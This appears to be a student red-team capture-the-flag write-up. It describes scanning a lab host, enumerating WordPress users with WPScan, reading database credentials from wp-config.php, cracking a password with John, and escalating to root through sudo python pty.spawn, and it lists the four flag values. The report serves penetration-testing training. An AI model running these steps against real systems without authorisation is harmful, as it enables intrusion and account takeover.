Red Team: Summary of Operations

Table of Contents

Exposed Services

Nmap scan results for each machine reveal the below services and OS details:

```
$ nmap 192.168.1.*
  Nmap scan report for 192.168.1.110
  Host is up (0.00073s latency).
  Not shown: 995 closed ports
  PORT  STATE SERVICE
  22/tcp  open  ssh
  80/tcp  open  http
  111/tcp open rpcbind
  139/tcp open netbios-ssn
  445/tcp open  microsoft-ds
  MAC Address: 00:15:5D:00:04:10 (Microsoft)
```

This scan identifies the services below as potential points of entry:

- Target 1
  - List of ports: 22, 80, 111, 139, 445
  - Exposed Services: ssh, http, rpcbind, netbios-ssn, microsoft-ds.

The following vulnerabilities were identified on each target:

- Target 1
  - List of vulnerabilities - database access info and user hash left in the open (CWE-200), CAPEC-16: Dictionary based password attack, privilege escalation with python

Exploitation

The Red Team was able to penetrate Target 1 and retrieve the following confidential data:

- Target 1
  - flag1.txt: flag1{b9bbcb33e11b80be759c4e844862482d}
    - **Exploit Used**
      - Found users information by running command WPScan and the IP of the attacked machine. We then ran the grep command to find Flag1
      - wpscan --url 192.168.1.110/wordpress/ --enumerate u
      - grep -R flag1
  - flag2.txt: flag2{fc3fd58dcdad9ab23faca6e9a36e581c}
    - **Exploit Used**

      - Found users by running command WPScan and the IP of the attacked machine. Then ran grep command to find Flag2
      - wpscan --url 192.168.1.110/wordpress/ --enumerate u
      - grep -R flag2
  - flag3.txt: flag3{afc01ab56b50591e7dccf93122770cd2}
    - **Exploit Used**
      - Found SQL USER and Password information on the wp-config.php file found at "/var/www/html/wordpress. Gained access to mySQL and using database wordpress on table wp_posts.
      - select * from wp-posts
  - flag4.txt: flag4{715dea6c055b9fe3337544932f2941ce}
    - **Exploit Used**
      - Once finding Steven’s password by running John, we accessed Steven’s account, noticed that he can run python with no password required and then ran a command with sudo to gain root privileges and changed Steven’s password.
      - sudo python -c 'import pty; pty.spawn("/bin/sh")' and sudo passwd to create a new root passwd. Flag was on /root